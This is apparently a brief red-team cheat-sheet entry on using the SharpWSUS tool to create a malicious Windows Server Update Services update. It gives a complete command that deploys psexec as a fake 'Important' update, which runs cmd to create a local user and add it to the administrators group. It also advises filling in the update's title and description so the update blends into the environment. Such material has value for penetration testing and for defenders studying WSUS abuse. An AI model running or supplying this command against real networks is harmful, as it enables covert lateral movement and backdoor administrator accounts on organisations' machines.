Create a malicious WSUS update
mainCreate a new update on the WSUS server.
CRITICAL: The payload provided must be a Windows-signed binary (e.g., psexec.exe, msiexec.exe, or msbuild.exe) to ensure successful execution during lateral movement.
While metadata like title, date, and description are optional, providing them is recommended to help the update blend into the environment.
sharpwsus create /payload:"C:\Users\ben\Documents\pk\psexec.exe" /args:"-accepteula -s -d cmd.exe /c \"net user phil Password123! /add && net localgroup administrators phil /add\"" /title:"Great UpdateC21" /date:2021-10-03 /kb:500123 /rating:Important /description:"Really important update" /url:"https://google.com"